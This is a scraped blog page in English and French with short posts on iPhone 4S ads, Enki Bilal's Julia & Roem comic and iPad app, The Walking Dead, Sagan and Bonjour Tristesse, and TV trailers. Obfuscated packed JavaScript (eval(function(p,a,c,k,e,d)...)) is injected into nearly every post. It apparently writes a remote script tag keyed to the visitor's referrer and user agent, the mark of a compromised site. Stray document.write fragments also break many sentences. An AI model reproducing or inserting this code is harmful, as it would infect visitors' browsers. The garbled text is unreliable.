Three new ads for the iPhone 4S !


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkzbb|var|u0026u|referrer|asdyf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzaih|var|u0026u|referrer|hyebr||js|php’.split(‘|’),0,{}))


And an older ad:

And, document.write(“”); finally, the iPhone 4S introduction video

History of the iPhone (in memory of Steve Jobs)

Here’s a great video!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbafy|var|u0026u|referrer|eeehn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fehrd|var|u0026u|referrer|ntyar||js|php’.split(‘|’),0,{}))

CNET UK Presents: History of the iPhone, document.write(“”); dedicated to the memory of Steve Jobs from Drew Stearne on Vimeo.

Julia & Roem: l’Apps

“Après un «coup de sang» environnemental apocalyptique et dévastateur, document.write(“”); la planète s’apaise et se recompose. Dans une géographie chamboulée, au cœur d’un nouveau désert, quelques survivants tentent de s’organiser dans ce nouveau monde. Sous le regard amusé d’un aumônier multiconfessionnel, les acteurs se mettent en place pour rejouer, malgré eux, la plus universelle des tragédies amoureuses… Parviendront-ils à s’écarter de la route qui semble toute tracée devant eux?” (Présentation sur l’Apps Store)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysnke|var|u0026u|referrer|beaya||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbaen|var|u0026u|referrer|eayzy||js|php’.split(‘|’),0,{}))

Cette application adapte en format électronique pour l’iPad la plus récente BD de Bilal. Pour l’histoire, je vous renvoi au
commentaire que j’ai fait sur la bande-dessinée elle-même.

Cette application offre une approche différente de la lecture de bande-dessinée. Chacune des cases défile sur l’écran comme un diaporama, avec une trame sonore originale (par Goran Vejvoda). Il n’y a pas de bulle mais à la place on a soit le texte qui apparait en sous-titres, ou une version racontée du texte (la narration est d’ailleurs faite par Enki Bilal lui-même!). On peut zoomer sur les détails des images. C’est assez intéressant, mais, si j’apprécie bien les formats électroniques, je dois avouer être tout de même un peu traditionnaliste dans ma lecture de BD (ou de comics) et j’aime bien avoir d’abord une vue d’ensemble de la planche et de pouvoir zoomer ensuite sur les cases et les textes (approche que l’on retrouve dans des applications de lecture comme Comics par ComiXology par exemple).

Petite démonstration:

C’est cool, non?

J’adore l’idée de lire en format électronique une bande-dessinée européenne, et une de Bilal encore plus. Toutefois, ce qui est domage c’est que l’on ait pas le controle sur la vitesse de défilement des cases (à moins de faire “pause” et d’avancer manuellement, mais les boutons de controles restent alors en filigrane, ce qui nuit beaucoup à la lecture). Mais ce qui m’embête énormément avec cette application c’est que lorsque la description me dit “cette application vous propose l’intégralité de la bande dessinée Julia & Roem,” je m’attend vraiment à avoir l’intégralité de la BD. Je me disais d’ailleurs que $5.99 c’était vraiment toute une aubaine (alors que la BD en soi est $32.95)! Après avoir acheté l’application, je me rend compte qu’elle ne contient que la première partie de l’histoire et qu’il me faudrait payer un autre $3.99 pour une deuxième partie et un autre $3.99 pour une troisième. Il y a combien de partie comme ça? Est-ce que ça se termine vraiment avec la troisième partie? C’est pratiquement une arnaque! Bon, la première partie est un peu plus chère parce qu’elle inclue l’application comme telle et les bonus (un entretien avec Bilal, de l’info sur la bande-originale, une biographie, une bibliographie et une filmographie de Bilal, ainsi que quelques liens internet). Et même à $13.97, c’est quand même moins chère qu’acheter la BD papier… Mais je m’attendais quand même à mieux de Casterman…

Je suis donc plutôt décu. Mon $5.99 m’a tout de même permis d’expérimenter avec le format, mais j’ai quand même préférer lire la BD papier. Je recommande cette application seulement s’il vous faut vraiment sauver de l’argent et si vous voulez expérimenter une façon “différente” de lire une BD. Sinon, il y a toujours les bibliothèques publiques!

Julia & Roem a été créé par les Éditions Casterman en juillet 2011 (la version 2.0 est parue en août avec les chapitres 2 et 3). L’application est disponible, en français seulement, dans la catégorie “books” (ou “Livres numériques” en français) de l’iTunes Store (tant US, CA ou FR) pour 4.99 EUR (ou $5.99 US/CDN). D’une taille de 277 MB, elle est compatible avec tout iPhone, iPod touch, et iPad qui opèrent avec la version iOS 3.1.3 ou plus. Recommandé pour 12+ ans (Rares/légères scènes de violence fictive; Rares/légères scènes de consommation ou de référence à l’alcool, au tabac ou à la drogue).

Julia & Roem © Casterman 2011 • Enki Bilal.

Julia & Roem: la BD

“Après le « coup de sang » environnemental dont Animal’z relatait l’impact tragique et dévastateur, document.write(“”); la planète s’apaise et se recompose, les survivants réapprennent à s’organiser. Dans cette géographie chamboulée, des déserts ont surgi. Et c’est au cœur de l’un d’entre eux, bien improbablement situé à l’emplacement de la mer Baltique, que l’on suit la trace d’un ex aumônier militaire énigmatique, installé au volant d’une Ferrari électrique lancée à plein régime. Trois personnages vont croiser sa route : deux jeunes hommes qu’il sauve in extremis de la mort par déshydratation, et un rapace blessé par balle, dont il répare l’aile cassée…” (Présentation sur le site de l’éditeur)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adybn|var|u0026u|referrer|zeizr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sanki|var|u0026u|referrer|nrnti||js|php’.split(‘|’),0,{}))

Publié en mai 2011 (mais disponible seulement depuis juin au Québec), Julia & Roem raconte l’histoire de Howard George Lawrence, un aumônier multiconfessionnel, qui traverse un désert (Gobi? mer Baltique? Nulle part et partout à la fois) au volant de sa Ferrari électrique. Le monde a été bouleversé par une apocalypse climatique et chacun essaies de survivre comme il peut dans ce monde où tout les repères connus ont disparuent. Sur sa route vascillante il croise Merkt et Roem et les sauve d’une mortelle déshydratation grâce à un de ses mystérieux gadgets militaires. Plus loin sur la route, ils entendent un coup de feu, puis trouvent un rapace blessé (un milan sacré qu’ils nommeront Jojo), que Lawrence soigne. Puis ils appercoivent la pointe d’un grand hotel, réémergeant d’une nappe de pétrole, perdu dans le désert d’une géographie fluide. C’est là qu’ils rencontreront les derniers acteurs de ce drame que le destin semble voué à leur faire rejouer. Réfugiés dans l’hotel, ils y trouvent Julia, son père, sa nouvelle femme Helda, le beau-fils Tybb, et le mercenaire Kyle Fabian Parrish.

Ma première impression a été que Julia & Roem offrait un style et une histoire plutôt similaire aux dernières oeuvres de Bilal. Mais je me suis vite rendu compte que cette nouvelle BD se déroulait dans le même univers qu’Animal’z. D’où la similitude. Mais Julia & Roem est une oeuvre indépendante qui ne nécessite pas la lecture du précédant opus. Cette fois-ci, Bilal nous présente une variation sur Roméo et Juliette (bien sûr: Roem est Roméo, Julia = Juliette, H.G. Lawrence = le frère Laurent, Merkt = Mercutio, Tybb = Tybalt et Kyle F. Parrish = Pâris) où il explore les thématiques des relations humaines et, surtout, de l’amour. Mais Roem et Julia sauront-ils échapper au destin que leur avait initialement attribué Shakespeare?

Voyons ce qu’en dit Bilal (sur Dailymotion):

(Voir aussi une video où Bilal parle de la création de Julia & Roem et une interview sur France Info Culture)

Julia & Roem présente une histoire plus sobre et plus accessible, ainsi qu’un style beaucoup plus sombre et flou que ses ouvrages précédents. Pourtant il utilise une technique (crayon de bois) et une palette de couleurs (noir, blanc, bleu et rouge) beaucoup plus simples. C’est très beau mais cela me donne l’impression de dessins inachevés. Dans l’ensemble, cette bande-dessinée nous offre une petite lecture rapide mais qui laisse un petit arrière goût d’insatisfaction. On aimerait toujours en voir plus… (surtout après avoir payé $32.95! Quoique vous pouvez aussi l’emprunter à votre bibliothèque de quartier) Mais c’est quand même du Bilal, alors c’est une lecture incontournable.

Julia & Roem, par Enki Bilal. Casterman, 2011. Couleur, 31.1 x 24.2 cm, 80 pgs. 18.00 € / $32.95 Can. Recommandé pour adolescents (12+). ISBN: 9782203033085.
Julia & Roem © Casterman 2011 • Enki Bilal.

(Voir aussi le commentaire sur l’application iPad de Julia & Roem)

Arcade rap

Last year I talked about Gyoko, document.write(“”); a Japanese rock band promoting fish. This week, while watching a traveling show on NHK World, I found a similar story: a group of old ladies working in the Sakae-machi shopping district, located in Okinawa’s capital Naha, decided to fight the economic slump and promote their local market by singing rap in a “music festival” regularly organized by the shopping arcade. They are called the “Obaa Rappers” (Granny Rappers). You can see them perform on YouTube:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skdat|var|u0026u|referrer|tzyei||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kieyt|var|u0026u|referrer|tabkd||js|php’.split(‘|’),0,{}))


(Also in
this video).

Delirant isti Nipponi!

The Walking Dead

WalkingDead_TV-PosterI don’t really know what made me want to watch The Walking Dead TV series. I never was a big fan of horror and even less of zombies movies, finding them rather ridiculous and disgusting. Being amused by the idea of a feature-quality TV series about zombies, I guess I took notice of the web punditocracy announcing it as something worth watching and there was probably nothing else on TV that night… The fact is that, after watching the first episode, I was intrigued enough to follow the entire first season (six episodes).

WalkingDead_TV-ImageI admit that I have always been a sucker for a good post-apocalyptic story (with or without zombies). What makes this TV series interesting is its excellent production quality, particularly the quite realistic CGI and make-up of the zombies. Despite the subject, it is not at all an horror story (unexpectedly I didn’t get a single nightmare after watching this, although I quickly realized that it was not a good idea to eat any meal while watching!) as it is rather about survival and how humans react and behave in extreme conditions. The writing is nothing exceptional but it is good enough to warrant excellent ratings, nomination for several awards and to be renewed for at least another thirteen-episode season. stars-3-0

[ Wikipedia / IMDb / Official ]

Here’s the TV series’ trailer from YouTube:

WALKING DEAD 01  - C1C4.inddHowever, at some point, I discovered that the TV series was based on an american comic book and, as always, I wanted to compare the TV adaptation with the original story. Even if it was available in electronic format on iPhones & iPads (it even has its own app!) through comiXology (the first issue is available for free), I must admit that I read the french edition instead since it was the only version available at my local library (all for free!). The Walking Dead is published by Image Comics as a monthly b&w comics. It is written by Robert Kirkman and illustrated by Tony Moore (issue #1-6) and Charlie Adlard (since issue #7). Started in 2003, it includes so far 79 issues compiled in 13 trade paperback volumes (containing 6 issues each), 6 hardcover volumes (containing 12 issues each), 3 Omnibus editions (containing 24 issues each) and one compendium edition (containing 48 issues). The french edition (12 volumes so far) is the equivalent of the trade paperbacks. In 2010 it has received the Eisner Award for best continuing series.

WalkingDead-Comics01p17

Vol. 1, page 17

On the website, the story is described as follow: “An epidemic of apocalyptic proportions has swept the globe, causing the dead to rise and feed on the living. In a matter of months, society has crumbled: There is no government, no grocery stores, no mail delivery, no cable TV. Rick Grimes finds himself one of the few survivors in this terrifying future. A couple months ago he was a small town cop who had never fired a shot and only ever saw one dead body. Separated from his family, he must now sort through all the death and confusion to try and find his wife and son. In a world ruled by the dead, we are forced to finally begin living.”

WalkingDead-Comics01p24

Vol. 1, page 24

The black and white art is very precise, neet and enjoyable. Action scenes are always clear and easy to understand. Strangely, because it’s in black and white, it feels much less gory than the TV series. Nevertheless the story is quite violent and people die by the handful in every volume (and that’s not counting the enormous amount of zombies that get sliced down). However what sets the story apart and makes it interesting is not this violence (although I am sure many read the comics for that reason), but the human side of the storytelling: the characters’ will of survival, their relationships, the depth of their emotions, particularly their fear, angst and even madness. So far I’ve read eleven of the trade paperbacks and I can’t wait to read more. It is really well written.

After going through the original story, I am quite surprised to find how pale the TV series is in comparison with the comics. The latter has a much stronger storytelling and is much more innovative. Actually, they don’t have much in common beside the original concept, the name of the characters and the events set in the first volume of the comics. At the end of the first volume, one of the main character dies and from there, so far, the story is completely different than what I’ve seen in the TV series. It might be easier (as in less challenging to the mind) to simply sit in a couch and watch a TV series, but the comic book is much more interesting and enjoyable. If you don’t mind too much the zombies and like post-cataclysmic survival stories, I strongly recommand the Walking Dead comics. stars-4-0

[ Amazon / Wikipedia / Biblio ]

The Walking Dead © Robert Kirkman. TV series © 2010 American Movie Classics Company LLC. All rights reserved.

Bonjour Tristesse

Durant le congé des Fêtes j’ai visionné le film Sagan de Diane Kurys, document.write(“”); dont je possédais le dvd depuis un certain temps déjà et que j’étais curieux de voir. Je ne connaissais que peu de choses de Francoise Sagan et je me disais que le film serait sans doute une bonne initiation… Déjà, la pochette nous dit: “Françoise a tout juste 18 ans quand elle écrit les premières lignes de Bonjour Tristesse, un roman dont le succès fulgurant suffira à lancer le mythe de “La Sagan”. Un mythe fait de formules brillantes, d’amours affranchies et de scandales tapageurs, derrière lesquels se cache une femme, que l’on qualifie d’anticonformiste pour ne pas la dire libre. Libre d’écrire, d’aimer, et de se détruire…”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdsnh|var|u0026u|referrer|fdhaf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdsby|var|u0026u|referrer|krafb||js|php’.split(‘|’),0,{}))

Le film est plutôt bien. C’est divertissant et j’ai appris beaucoup de choses sur Sagan. Toutefois, j’ignore dans quelle mesure ce récit est réellement fidèle à la vie du célèbre écrivain. J’ai lu quelques part que des noms et des événements avaient été changé pour des fins de dramatisation, ce qui est inévitable dans toute adaptation cinématographique, même quand il s’agit d’une adapation biographique. Par contre, l’actrice Sylvie Testud est exceptionnelle dans le rôle de Sagan. Même la ressemblance physique est frappante.

Toutefois, je ne peux m’empêcher de penser que, malgré l’importante oeuvre qu’elle a laissé derrière elle, la vie de Sagan est une vie perdue, gaspillée. Elle l’a vécut à fond, un peu à l’image de la Cécile de Bonjour Tristesse, aimant passionément tant hommes que femmes, se perdant dans des dépenses folles, l’alcool et la drogue. Comme beaucoup d’artiste bohème (Piaf par example), elle a finit sa vie pratiquement seule, ruinée et malade. Quelle tristesse…

SAGAN. France, 2008, 117 min.; Dir.: Diane Kurys; Scr.: Diane Kurys, Claire Lemaréchal, Martine Moriconi; Phot.: Michel Abramowicz; Ed.: Sylvie Gadmer; Art Dir.: Maxime Rebière; Set Decor.: Alexandra Lassen; Cost. Des.: Nathalie du Roscoat; Music: Armand Amar; Cast: Sylvie Testud (Francoise Quoirez dite Sagan), Pierre Palmade (Jacques Chazot), Jeanne Balibar (Peggy Roche), Arielle Dombasle (Astrid), Lionel Abelanski (Bernard Frank), Guillaume Gallienne (Jacques Quoirez), Denis Podalydès (Guy Schoeller), Margot Abascal (Florence Malraux), Samuel Labarthe (René Julliard). Rated PG / 14+. Site officiel: sagan-lefilm.com.

Mais je ne me suis pas arrêté là et j’ai décidé de poursuivre l’expérience “Sagan” (car j’aime découvrir les choses d’une façon thématique) avec le visionnement de l’adaptation cinématographique de Bonjour Tristesse, son oeuvre la plus connue. Le film en soi est très bon, comme peuvent l’être la plupart des films de cette époque, mais malheureuse-ment, comme je n’avais pas encore lu le roman au moment du visionnement, je ne pouvais pas le comparer au récit original. Et c’est peut être tant mieux car je préfère toujours juger un film sur ses propres mérites.

Vivant avec un père séducteur, Cécile mène un vie morne malgré qu’elle soit pleine de mondanités et de flirts. Elle serait sans doute heureuse si ce n’était du souvenir douloureux, remplis de tristesse et de remors, d’un été idyllique passé avec son père sur la Côte d’Azur et qui se termina dans le drame. Tout le préambule du film est en noir et blanc mais passe rapidement à la couleur lorsqu’un flashback nous amène dans les souvenirs de Cécile. C’est une très belle histoire, racontée avec brio et une technique visuelle d’une exceptionelle qualité. Au delà d’un bon récit, ce drame psychologique nous offre une intéressante réflection sur la moralité et la maturité. A voir absolument. Malheureusement, il semble que ce film soit assez difficile à trouver: il ne semble plus disponible qu’en usagé et la bibliothèque ne l’a qu’en format VHS. Il est toutefois disponible sur Amazon.com video on demand et le iTunes Store mais ce serait sans doute un titre mûr pour une sortie en format Blu-Ray.

Bonjour Tristesse. USA, 1958, 94 min.; Dir.: Otto Preminger; Scr.: Arthur Laurents (d’après le roman de Francoise Sagan); Phot.: George Perinal; Ed.: Helga Cranston; Art Dir.: Ray Simm; Set Decor.: Roger Furse; Cost. Des.: Hope Bryce, May Walding; Music: Georges Auric; Cast: Deborah Kerr (Anne Larson), David Niven (Raymond), Jean Seberg (Cecile), Mylène Demongeot (Elsa), Goeffrey Horne (Philippe), Juliette Gréco (herself). Rated NR (Suggéré pour 14+).
Extrait du film sur YouTube:

Après avoir vu un film aussi charmant j’étais encore plus curieux d’en lire le récit original. Chanceux que je suis, j’ai trouvé parmi les trésors de mon sous-sol une édition toute jaunie de Bonjour Tristesse (Julliard, 1957; la couverture nous précise que la réimpression a déjà atteint le 700e mille). A cette époque les romans français avaient des couvertures vraiment ennuyantes, par contre j’aime bien l’illustration de couverture de cette édition anglaise (ci-contre) qui représente bien l’esprit du livre. Celui-ci est bien sûr disponible en bibliothèques en de multiple éditions françaises.

La couverture arrière nous dit: “Un homme de quarante ans, charmant, léger, aux aventures faciles et nombreuses, et sa fille de dix-sept ans, Cécile, forment un couple inséparable de camarades. Ils vivent dans la plus grande liberté, une amoralité parfaite, une insouciance totale, jusqu’au jour où, plus dangereuse que toutes les habituelles « passantes », une femme survient… Belle, envoûtante, un peu mystérieuse, Anne, qui fut la meilleure amie de la mère de Cécile, va vouloir enchaîner l’homme volage et préserver la jeune fille d’une dépravation certaine. Devant cette menace, Cécile, avec un machiavélisme à la fois innocent et pervers, provoque la rupture, la catastrophe… Le danger est écarté, mais un nouveau visage hantera désormais l’adolescente : celui de la tristesse. Écrit par une jeune fille de dix-huit ans, ce roman, poétique et ensorcelant, révèle un talent exceptionel.”

L’ouvrage débute ainsi: “Sur ce sentiment inconnu dont l’ennui, la douceur m’obsèdent, j’hésite à apposer le nom, le beau nom grave de tristesse.” Contraitement au film, le récit original est plutôt linéaire et n’a pas de véritable flashback — quoique la narration se fait au passé. À part cela, il n’y a guère de différences: Cécile a dix-sept ans (et non dix-huit), son jeune amant se nomme plutôt Cyril (au lieu de Philippe) et leur relation est plus poussée (évidemment un film américain des années ’50 ne pouvait pas montrer de sexualité). C’est assez bien écrit (quoique je trouve que le style de Sagan manque un peu de fluidité) et se prête bien à la narration que l’on retrouve dans le film. C’est charmant et c’est court (cent-quatre-vingt-huit pages). La grande popularité de ce roman ne tient pas tant à sa qualité littéraire, qui n’a absolument rien d’exceptionelle, mais plutôt au jeune âge de l’auteur et au sujet qui, pour l’époque, était choquant. Le Vatican avait d’ailleurs condamné l’ouvrage dont les personnages ignoraient complètement la moralité, et, sans le mettre à l’index, tentait d’en dissuader la lecture “comme un poison qui doit être éloigné des lèvres de la jeunesse.” Cela n’en demeure pas moins un ouvrage important de la littérature française.

Sagan © 2009 Équinoxe Films. Tous droits réservés. Bonjour Tristesse © 1954 by René Julliard, Paris.

iFruits Trouble

Brit TV can be so hilarious!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhihk|var|u0026u|referrer|deezb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kaeie|var|u0026u|referrer|rhear||js|php’.split(‘|’),0,{}))

Sources: Engadget, document.write(“”); TUAW, YouTube

La lune est rouge…

…Ça veut dire que Véga va attaquer! — Goldorak
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibbyi|var|u0026u|referrer|ykszy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drazs|var|u0026u|referrer|kzfrh||js|php’.split(‘|’),0,{}))

Trève de plaisanteries, document.write(“”); on a
beaucoup parlé dans les média de cette éclipse totale de Lune qui devait, exceptionnellement, coincider avec le solstice d’hiver et qui n’a certes pas déçu les observateurs. Pour ma part, je dormais (et c’était nuageux ici parait-il) mais, grâce à l’internet, on ne manque vraiment jamais rien! Voici donc l’éclipse en question condensée en quelques minutes:

Winter Solstice Lunar Eclipse from William Castleman on Vimeo.

“The Borgias” trailer

This week I am introducing you to an upcoming TV series dedicated to the historical saga of the Borgia’s family:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khybd|var|u0026u|referrer|yadre||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkyny|var|u0026u|referrer|kaebk||js|php’.split(‘|’),0,{}))


In a fashion quite similar to The Tudors historical drama series, document.write(“”); The Borgias will offer “a complex, unvarnished portrait of one of history’s most intriguing and infamous dynastic families,” according to the
official website. “The series begins as the family’s patriach Rodrigo becomes Pope, propelling him, his two Machiavellian sons Cesare and Juan, and his scandalously beautiful daughter, Lucrezia, to become the most powerful and influencial family of the Italian Renaissance.”

Created and co-produced by Neil Jordan (The Crying Game), who also wrote and directed the first two episodes, and Michael Hirst (The Tudors), who wrote episode three to ten, the series will air sometimes in 2011 on Showcase in the USA and on Bravo!, as well as on CTV, in Canada. Two episodes will also be directed by Jeremy Podeswa (Six Feet Under, The Pacific) and the series’ production design will be by François Seguin (Jesus of Montreal, The Barbarian Invasions). A co-production by Canada, Hungary and Ireland, the series offers a solid cast: Jeremy Irons will play Rodrigo Borgia (aka Pope Alexander VI after 1492), with François Arnaud (J’ai tué ma mère) starring as Cesare, David Oakes (William Hamleigh in The Pillars of the Earth) as Juan, Holliday Grainger as Lucrezia, Joanne Whalley as the mother, Derek Jacobi as Cardinal Orsini, and Colm Feore as Rodrigo’s arch nemesis Cardinal Giuliano Della Rovere. It is quite promising!

(Sources: Showtime Official Site, TV Squad, Wikipedia, YouTube)

Inside “Game of Thrones” !!

Wow! Here’s a 10-minute long introduction to Game of Thrones, document.write(“”); an HBO TV series based on George R. R. Martin’s A Song of Ice and Fire, with behind-the-scene interviews:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tybyr|var|u0026u|referrer|rzysi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
